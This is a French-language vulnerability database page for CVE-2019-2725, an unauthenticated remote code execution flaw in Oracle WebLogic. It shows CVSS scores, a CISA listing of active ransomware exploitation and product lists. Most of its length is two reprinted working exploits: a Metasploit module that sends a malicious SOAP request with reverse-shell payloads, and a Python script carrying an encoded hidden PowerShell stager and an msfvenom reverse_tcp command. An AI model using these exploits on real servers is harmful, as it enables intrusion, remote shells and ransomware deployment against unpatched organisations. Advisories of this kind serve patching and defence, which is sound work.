Faiblesses connexes
CWE-ID |
Nom de la faiblesse |
Source |
CWE-74 |
Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component. |
|
Métriques
Métriques |
Score |
Gravité |
CVSS Vecteur |
Source |
V3.1 |
9.8 |
CRITICAL |
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. The vulnerable system can be exploited without interaction from any user. Base: Scope MetricsThe Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact MetricsThe Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental MetricsThese metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
|
[email protected] |
V3.0 |
7.5 |
HIGH |
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers). Attack Complexity This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack. User Interaction This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component. The vulnerable system can be exploited without interaction from any user. Base: Scope MetricsAn important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges. Scope Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports. An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same. Base: Impact MetricsThe Impact metrics refer to the properties of the impacted component. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is no loss of confidentiality within the impacted component. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is no loss of integrity within the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability. Environmental Metrics
|
|
V2 |
7.5 |
|
AV:N/AC:L/Au:N/C:P/I:P/A:P |
[email protected] |
CISA KEV (Vulnérabilités Exploitées Connues)
Nom de la vulnérabilité : Oracle WebLogic Server, Injection
Action requise : Apply updates per vendor instructions.
Connu pour être utilisé dans des campagnes de ransomware : Known
Ajouter le : 2022-01-09 23h00 +00:00
Action attendue : 2022-07-09 22h00 +00:00
Informations importantes
Ce CVE est identifié comme vulnérable et constitue une menace active, selon le Catalogue des Vulnérabilités Exploitées Connues (CISA KEV). La CISA a répertorié cette vulnérabilité comme étant activement exploitée par des cybercriminels, soulignant ainsi l'importance de prendre des mesures immédiates pour remédier à cette faille. Il est impératif de prioriser la mise à jour et la correction de ce CVE afin de protéger les systèmes contre les potentielles cyberattaques.
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 46814
Date de publication : 2019-05-07 22h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Powershell
def initialize(info={})
super(update_info(info,
'Name' => 'Oracle Weblogic Server Deserialization RCE - AsyncResponseService ',
'Description' => %q{
An unauthenticated attacker with network access to the Oracle Weblogic Server T3
interface can send a malicious SOAP request to the interface WLS AsyncResponseService
to execute code on the vulnerable host.
},
'Author' =>
[
'Andres Rodriguez - 2Secure (@acamro) <acamro[at]gmail.com>', # Metasploit Module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2019-2725'],
['CNVD-C', '2019-48814'],
['URL', 'http://www.cnvd.org.cn/webinfo/show/4999'],
['URL', 'https://www.oracle.com/technetwork/security-advisory/alert-cve-2019-2725-5466295.html']
],
'Privileged' => false,
'Platform' => %w{ unix win solaris },
'Targets' =>
[
[ 'Unix',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_bash'}
],
[ 'Windows',
'Platform' => 'win',
'Arch' => [ARCH_X64, ARCH_X86],
'DefaultOptions' => {'PAYLOAD' => 'windows/meterpreter/reverse_tcp'}
],
[ 'Solaris',
'Platform' => 'solaris',
'Arch' => ARCH_CMD,
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_perl'},
'Payload' => {
'Space' => 2048,
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl telnet',
}
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' =>
{
'WfsDelay' => 12
},
'DisclosureDate' => 'Apr 23 2019'))
register_options(
[
Opt::RPORT(7001),
OptString.new('URIPATH', [false, 'URL to the weblogic instance (leave blank to substitute RHOSTS)', nil]),
OptString.new('WSPATH', [true, 'URL to AsyncResponseService', '/_async/AsyncResponseService'])
]
)
end
def check
res = send_request_cgi(
'uri' => normalize_uri(datastore['WSPATH']),
'method' => 'POST',
'ctype' => 'text/xml',
'headers' => {'SOAPAction' => '' }
)
if res && res.code == 500 && res.body.include?("<faultcode>env:Client</faultcode>")
vprint_status("The target returned a vulnerable HTTP code: /#{res.code}")
vprint_status("The target returned a vulnerable HTTP error: /#{res.body.split("\n")[0]}")
Exploit::CheckCode::Vulnerable
elsif res && res.code != 202
vprint_status("The target returned a non-vulnerable HTTP code")
Exploit::CheckCode::Safe
elsif res.nil?
vprint_status("The target did not respond in an expected way")
Exploit::CheckCode::Unknown
else
vprint_status("The target returned HTTP code: #{res.code}")
vprint_status("The target returned HTTP body: #{res.body.split("\n")[0]} [...]")
Exploit::CheckCode::Unknown
end
end
def exploit
print_status("Generating payload...")
case target.name
when 'Windows'
string0_cmd = 'cmd.exe'
string1_param = '/c'
shell_payload = cmd_psh_payload(payload.encoded, payload_instance.arch.first, {remove_comspec: true, encoded: false })
when 'Unix','Solaris'
string0_cmd = '/bin/bash'
string1_param = '-c'
shell_payload = payload.encoded
end
random_action = rand_text_alphanumeric(20)
random_relates = rand_text_alphanumeric(20)
soap_payload = %Q|<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"|
soap_payload << %Q|xmlns:wsa="http://www.w3.org/2005/08/addressing"|
soap_payload << %Q|xmlns:asy="http://www.bea.com/async/AsyncResponseService">|
soap_payload << %Q|<soapenv:Header>|
soap_payload << %Q|<wsa:Action>#{random_action}</wsa:Action>|
soap_payload << %Q|<wsa:RelatesTo>#{random_relates}</wsa:RelatesTo>|
soap_payload << %Q|<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">|
soap_payload << %Q|<void class="java.lang.ProcessBuilder">|
soap_payload << %Q|<array class="java.lang.String" length="3">|
soap_payload << %Q|<void index="0">|
soap_payload << %Q|<string>#{string0_cmd}</string>|
soap_payload << %Q|</void>|
soap_payload << %Q|<void index="1">|
soap_payload << %Q|<string>#{string1_param}</string>|
soap_payload << %Q|</void>|
soap_payload << %Q|<void index="2">|
soap_payload << %Q|<string>#{shell_payload.encode(xml: :text)}</string>|
#soap_payload << %Q|<string>#{xml_encode(shell_payload)}</string>|
soap_payload << %Q|</void>|
soap_payload << %Q|</array>|
soap_payload << %Q|<void method="start"/>|
soap_payload << %Q|</void>|
soap_payload << %Q|</work:WorkContext>|
soap_payload << %Q|</soapenv:Header>|
soap_payload << %Q|<soapenv:Body>|
soap_payload << %Q|<asy:onAsyncDelivery/>|
soap_payload << %Q|</soapenv:Body>|
soap_payload << %Q|</soapenv:Envelope>|
uri = normalize_uri(datastore['WSPATH'])
if uri.nil?
datastore['URIPATH'] = "http://#{RHOST}:#{RPORT}/"
end
print_status("Sending payload...")
begin
res = send_request_cgi(
'uri' => uri,
'method' => 'POST',
'ctype' => 'text/xml',
'data' => soap_payload,
'headers' => {'SOAPAction' => '' }
)
rescue Errno::ENOTCONN
fail_with(Failure::Disconnected, "The target forcibly closed the connection, and is likely not vulnerable.")
end
if res.nil?
fail_with(Failure::Unreachable, "No response from host")
elsif res && res.code != 202
fail_with(Failure::UnexpectedReply,"Exploit failed. Host did not responded with HTTP code #{res.code} instead of HTTP code 202")
end
end
end
Exploit Database EDB-ID : 46780
Date de publication : 2019-04-29 22h00 +00:00
Auteur : Avinash Kumar Thapa
EDB Vérifié : No
#!/usr/bin/python
# Exploit Title: Oracle Weblogic Exploit CVE-2019-2725
# Date: 30/04/2019
# Exploit Author: Avinash Kumar Thapa
# Vendor Homepage: https://www.oracle.com/middleware/technologies/weblogic.html
# Software Link: https://www.oracle.com/technetwork/middleware/downloads/index.html
# Version: Oracle WebLogic Server, versions 10.3.6.0.0, 12.1.3.0.0
# Tested on:
#OS: Windows 2012 R2 (Build 9600).
#Architecture : x64
#System Language : en_US
# CVE : CVE-2019-2725
# Script Usage:
# python exploit.py http://IP:PORT/_async/AsyncResponseServiceHttps
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=1.1.1.1 LPORT=1234 -f psh-cmd > exploit.ps1
# Add the powershell command in the variable
__author__ = "Avinash Kumar Thapa"
__description__ = """
Vulnerability in the Oracle WebLogic Server component of Oracle Fusion Middleware (subcomponent: Web Services). Supported versions that are affected are 10.3.6.0.0 and 12.1.3.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebLogic Server. Successful attacks of this vulnerability can result in takeover of Oracle WebLogic Server
CREDIT STATEMENT:
The following people or organizations reported security vulnerabilities addressed by this Security Alert to Oracle:
Badcode of Knownsec 404 Team: CVE-2019-2725
Hongwei Pan of Minsheng Banking Corp.: CVE-2019-2725
Liao Xinxi of NSFOCUS Security Team: CVE-2019-2725
Lin Zheng of Minsheng Banking Corp.: CVE-2019-2725
Song Keya of Minsheng Banking Corp.: CVE-2019-2725
Tianlei Li of Minsheng Banking Corp.: CVE-2019-2725
ZengShuai Hao: CVE-2019-2725
Zhiyi Zhang of 360 ESG Codesafe Team: CVE-2019-2725
"""
import requests
import sys
print "Exploit Written by Avinash Kumar Thapa"
exploit = "%COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAnAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAnAH0AZQBsAHMAZQB7ACQAYgA9ACQAZQBuAHYAOgB3AGkAbgBkAGkAcgArACcAXABzAHkAcwB3AG8AdwA2ADQAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACcAfQA7ACQAcwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAUwB0AGEAcgB0AEkAbgBmAG8AOwAkAHMALgBGAGkAbABlAE4AYQBtAGUAPQAkAGIAOwAkAHMALgBBAHIAZwB1AG0AZQBuAHQAcwA9ACcALQBuAG8AcAAgAC0AdwAgAGgAaQBkAGQAZQBuACAALQBjACAAJgAoAFsAcwBjAHIAaQBwAHQAYgBsAG8AYwBrAF0AOgA6AGMAcgBlAGEAdABlACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AUwB0AHIAZQBhAG0AUgBlAGEAZABlAHIAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAJwBIADQAcwBJAEEARABQAFcAeAAxAHcAQwBBADcAVgBXAGIAVwAvAGEAUwBCAEQAKwBuAEUAagA5AEQAMQBhAEYAWgBGAHMAaABHAEIATABhAE4ASgBFAHEAMwBaAHAAWABVADUAeQBZAE8AQgBBAEkAaAAwADQAYgBlADIAMgBXAHIATAAzAEUAWABoAE8AZwAxAC8AOQArAHMAMgBDAG4ANgBUAFcAdAAyAHAAUABPADQAbQBWAGYAWgBtAFoAbgBuAG4AbABtADEAawBFAFcAZQA0AEwAeQBXAEYAawBzAHUAZgBMADUAegBlAEcAQgBnAHgATQBjAEsAVgBvAHAAYQBrADMASwBTAG0AbgBWAGEANQArAG0AKwBzAEUAQgBiAEoAUgBXAFYAawBmADUAcQBHAGgAVAB0AEYAdwAyAGUAWQBSAHAAUABMAHUANABhAEcAUgBKAFEAbQBLAHgAbgAxAGMANgBSAEsAQQAwAEoAZABFADkAbwB5AFQAVgBkAE8AVgB2ADUAWABaAE8ARQBuAEoAOABkAGIAOABnAG4AbABBACsASwA2AFcALwBLAGgAMwBHADcAegBIAEwAeABUAFkATgA3AE0AMgBKAGMAbwB4AGkAWAArADcAMQB1AFkAZQBsAE0AeABWADMAeQBhAGoAUQAxAEQALwAvAFYAUABYAHAAYwBXADEAVwBhAFQAMQBtAG0ASwBXAGEANgBtADUAUwBRAGEASwBLAHoANQBpAHEASwAxADkAMABlAGUARABOAFoAawBrADAAMQBhAFoAZQB3AGwATQBlAGkATQBvAHQAagBVADkAUABLAHMATQA0AHgAUQBHADUAQgBHAHMAcgBZAGgATQB4ADUAMwA2AHEANgBoAEEARQBmAEIASQBpAHMAaQBSAFcAWgBEAGgAUwBmADcAKwByAHEAVABCADAARQB1ADQAaAAzADAAOQBJAG0AcQBwAGwAWgBTAG8AdABUADIAZQB6AFAANwBSAHAAZgB1AHgAMQBGAGcAcwBhAGsAWQBvAFYAQwA1AEwAdwBwAFUAdQBTAEYAZgBWAEkAVwB1AG4AaQAyAEcAZgBrAG0AZwBRAHoAMABIAEoARgBRAHUATgB3AHAAdQBzAGcAdAB1AEkAUABSAEMAdgBGAEcAVwBOAGwANQBYAGYATQBhAEoAZgBrAHEAUQBEAHQAVgA1AFcAMABsADAAbwBnADUAWQBoAEUATAAwAE0AZQB2AHcALwBUADUAbgA3AEcAeQBGADUAUgBmAGMAVgBQAG0AWABvAGQAbgB1AGYAMABBADMAQgBmADMAaAB5ACsATwBRAHcASwByAHAARAB6AGwAMQBTAEIAMABjAEYAMABOAHkAYgBnAG0AKwBiAHcAbABPADYAawBQAGkAcgBWAHMAbQBMAEQATQBWAGoAdwBaAEEAUABUADAAawAyAFMARQBYADMAMgBqAEsAeABTAFMAcwBmAE4AKwAvAEsAUAA5AFcAdQBGAE0ASQBnAFMAdgB3ADgAcgAwAHgARwBuAC8AZwB3ADAAOABtAFMAVwA4AEwAZwBwAGwAMwAvAE0AeQBTAFkASgBhAEUAeQBhAG0AeABoAEgAMQBDAHQAbwBwADcAMgBHAE0AQQBrAFkAMgBjAFYAWABLAGMAUQB1AHcAUwBWAE4AegBUAGUASQAzAHkAUwBNAGgARgBoAEkAMABHAFMAaQB2ADEATgByAFIAVgBRADgANgA1AG8AWgBaAFQANQBKAGsAQQBkAFoAUwBzAEUAcgBTAEsARAArAHIAVABQADcAUABHAGkAcQBGAGQAcwBrAEEAbwBUADIAYwAyAEIAZQBLAFEAQwB5AGsAMABJADYASgAvAGkAbQBPAEYAMwBPAFEAVQBoAHQATQBKAHkAbQBaAGMAWABKAG8ATgBxADgAcwB1AEkAUwB6AEkAaABmAFYAbABDAGMAMABuAHcATABaAFkATAB2AGgAdQBwAFgAZAArADIATQBDAGUAcgBoAFYAQgBUAG0AWgBuAG8ATwBZADMANQBjAGcAOABlAHAAUwBEAEkAUABjAGcAYQBoADMANwBoAEwANABsAEgATQBKAEIASgBsAHAAVQB0ADkAWQBtADUAYwBHAGgAYgBIAHEAcQAvAGkAMABNAEMATQBRAFEAMgBBAHAAUgBYAGsAQQBWAFoAawAvAEsANgBRAFQARQBqAEEAdwAxADMAVwA5AFkAcABMAGgAQgBVAHQARwBZAGwAQQBaAGwAZgAxAGIAWQBaAEQAcQBQAEcAYwA2AFQAdgBxADQASgBEADQANgByADgAYwBMAEoAaQA4AHAANgAxAEUAbwBvAEQAZwBoAFgAdQBRAFgAcABkAHgAVQBWAFoARwBOAEIASABRAE8AeQBTAHEAdwBLAEQALwBkAHYAaQBMAHAAaQBIAGQAYQBDAFEAawBUADQATgBXAFYATQBiAFUAMwBBAGoASgA2AE4ASwBXAGUAcQAyADEASgBHAFMATwB5AGcANgBEAFIARQBEADgANwBZAFIASABKAGsANwBKACsALwBxACsAUQAyAGgAdgBqAFMAdgBhAFEAUABCAE0AcgBKAGoAWgBuAHYAbABBAGEAKwBpAEoAMQBpAHcAYgB2AGsATgA2AGEAdgBIAG0AbQBmACsAcAB0ACsAZwBhAFMAWABNADkARAA1AEMAVgBXAG4AYgBYAGEAUQA2ADYAMwBmAHEAcQA1ADQANwBxAHcAbQAxAFoANABwAE4AagBDAGIAcwAxAFgAaQB4AGMAMQBMADAAZQBUAHMAUwBkAGgAYgBvADMAdABQAG8AdwBxAFcAKwBYAFAAYgBwADEAKwA4AGkAZgByAEkAMwAzAFcAMwBQADcAVgBEAFgAWAAyADAAWABvAEIANQBOAG0ARQBJAFIAbgBnAFgAdABkAGUAOQBlAG0ALwBkAHYARwB3AEsAeQBlADQASAA2AHoAbABmAFYAdgB6AFMAZQB6AFcAawA5AGIAOQBLAGsANwBvAE0AUABCAFEANgA4AHQANwBpAGMAagBoAG8AZQBCAEUAWQA1AHIANQA1AGkAdQArADgAbABpAFYATwBQADIAMQBrAEsAbwBNAHoALwAxAHQAcgAxAGcAMQBKAG4AYgAvAG0AYgBTAHAAVwBSAGgAVgBQAHQAMABnAEEAWQBJAGYAZgBLAHUAaAA4AE4ATwB1AEEAdwA3AEsAVABMAE8AUgA0ACsATgBLAEcAeQBPAEgAVwBlAEIAawBZAFYAYQBvADAAMwB2AEgAVABNAEgAdwA3AGEASgBoAGkAMQB6AGcASwArADQAYwAzAHIAVQBOAEcAcAAzAC8AbQBPAHIAZgBUAGYARwB2AFkAagA1AG4AYQA1AFIAbQA0AHkAUgBqAHgATABqAEoAcAB6AFgAegBxADcAbQBzAGMAUQBKAGgAKwBhAGoASwBXAFYAUQAvADIANwBUAE4AawBEAEcAcQBhAE4AdQAvAFkAUgB1ADcAeAA0AEgAbgBSAEMAMQBRAEcAWQBVAGMAWQBUAGIAOQBHAEYANABOAEEAYQBiAGwAegBlAGcAYwB6AHUAcwArAFIAeQBKADIAQgBvAGIAeABpAGcAMABRAGgAUwA0ADgAdwBsAEcASgBrAGkAYgBqADYAaAB0ADgAcwBiAG0AZwAyAE0ANwB4AG0AaAAwAE0AcQAvAGQAUAA5AFQAbQA0AEQATQBaAHIAegA3AFkAUABYAFQAVQA5AGgAegBEAE0ASQA2AGkAZQAvAGcAMQBrAEcAYwB2ADEALwBIAFkAZgBEAHAAYgBQAFEAbgBjAHUAdwBYAGIATgA4AGIANQA4AE8ATgBiAHkAUgBFAGcAUwBTAGsAeQBhADgAMABYAHUAZgA5AFIAeQA3AFoAeABrAHMANAB4AEEAMAA1AEEATQB5ADcASwBzAE0AMgBUAGQAdAA1AGUASABVADYAbABoAHEAYgBKAEsALwBtAEIASgBEAEYAaABjAEsAUABCAG4AVgBlAFEARwBUAEgARwBQAGQAbgBjAG8AUQAvAEQAdABiAEoAdgA5AHYATAB1AEcAYwBMAHcAOQBPAFQAVgBrAGEANAA4AEMAKwBwAGYAZQAzADYAeABkAEgARgB4AEIAeQA1AEMAZABlAHoANABXACsAbQBUAE8AQgBUAHoAYwBuAFYAOQBXAHEAMQBDAEQANgArAHUANgAxAFcASQA4AGQAZgBqAGEAdgBEAGwAUgB0AHYAYgBLAHMAdABMAFkASQBmAE0AcwAzAFcAMgBzADYANwBMAHUAaQBrAHQAKwA2AFAALwBGAGIARwA4AFYAdQBmAHcANQAvADgAYwBzAGEAOQByAFAAOQBuADkASgBSAFMAcgA1AFgAMgA4ADMAeQAxAC8AdQAvAEIAYgBpAFAANQB1ADMATABlAFkAQwBoAEIAMABvAGQARQB3AHMAcgAvAG4AWABnAHMALwA1ADgAYQBMAGwAdwBCAEkAQwBPAFEAOQB5AEIALwA1AEMAbgBlAFYAaQBlAE4ATABlAEQAVgA0AGMALwBnAFAAeQBrAHYAWgBDAGkAdwBLAEEAQQBBAD0AJwAnACkAKQApACwAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAKQApAC4AUgBlAGEAZABUAG8ARQBuAGQAKAApACkAKQAnADsAJABzAC4AVQBzAGUAUwBoAGUAbABsAEUAeABlAGMAdQB0AGUAPQAkAGYAYQBsAHMAZQA7ACQAcwAuAFIAZQBkAGkAcgBlAGMAdABTAHQAYQBuAGQAYQByAGQATwB1AHQAcAB1AHQAPQAkAHQAcgB1AGUAOwAkAHMALgBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAPQAnAEgAaQBkAGQAZQBuACcAOwAkAHMALgBDAHIAZQBhAHQAZQBOAG8AVwBpAG4AZABvAHcAPQAkAHQAcgB1AGUAOwAkAHAAPQBbAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgBTAHQAYQByAHQAKAAkAHMAKQA7AA=="
url = sys.argv[1]
request_headers = {"Accept-Encoding": "gzip, deflate", "Accept": "*/*", "Accept-Language": "en", "User-Agent": "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)", "Connection": "close", "Content-Type": "text/xml"}
data="<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:wsa=\"http://www.w3.org/2005/08/addressing\" xmlns:asy=\"http://www.bea.com/async/AsyncResponseService\">\r\n <soapenv:Header>\r\n <wsa:Action>xx</wsa:Action>\r\n <wsa:RelatesTo>xx</wsa:RelatesTo>\r\n <work:WorkContext xmlns:work=\"http://bea.com/2004/06/soap/workarea/\">\r\n <void class=\"java.lang.ProcessBuilder\">\r\n <array class=\"java.lang.String\" length=\"3\">\r\n <void index=\"0\">\r\n <string>cmd</string>\r\n </void>\r\n <void index=\"1\">\r\n <string>/c</string>\r\n </void>\r\n <void index=\"2\">\r\n <string>%s</string>\r\n </void>\r\n </array>\r\n <void method=\"start\"/></void>\r\n </work:WorkContext>\r\n </soapenv:Header>\r\n <soapenv:Body>\r\n <asy:onAsyncDelivery/>\r\n </soapenv:Body>\r\n</soapenv:Envelope>" % (exploit)
response = requests.post(url, headers=request_headers, data=data)
print "status_code:%s" % str(response.status_code)
print(response)
Products Mentioned
Configuraton 0
Oracle>>Agile_plm >> Version 9.3.3
Oracle>>Agile_plm >> Version 9.3.4
Oracle>>Agile_plm >> Version 9.3.5
Oracle>>Communications_converged_application_server >> Version 5.1
Oracle>>Communications_converged_application_server >> Version 7.0
Oracle>>Communications_converged_application_server >> Version 7.1
Oracle>>Peoplesoft_enterprise_peopletools >> Version 8.56
Oracle>>Peoplesoft_enterprise_peopletools >> Version 8.57
Oracle>>Peoplesoft_enterprise_peopletools >> Version 8.58
Oracle>>Storagetek_tape_analytics_sw_tool >> Version 2.3
Oracle>>Tape_library_acsls >> Version 8.5
Oracle>>Tape_virtual_storage_manager_gui >> Version 6.2
Oracle>>Vm_virtualbox >> Version To (excluding) 5.2.36
Oracle>>Vm_virtualbox >> Version From (including) 6.0.0 To (excluding) 6.0.16
Oracle>>Vm_virtualbox >> Version From (including) 6.1.0 To (excluding) 6.1.2
Oracle>>Vm_virtualbox >> Version 5.2.36
Oracle>>Weblogic_server >> Version 10.3.6.0.0
Oracle>>Weblogic_server >> Version 12.1.3.0.0
Références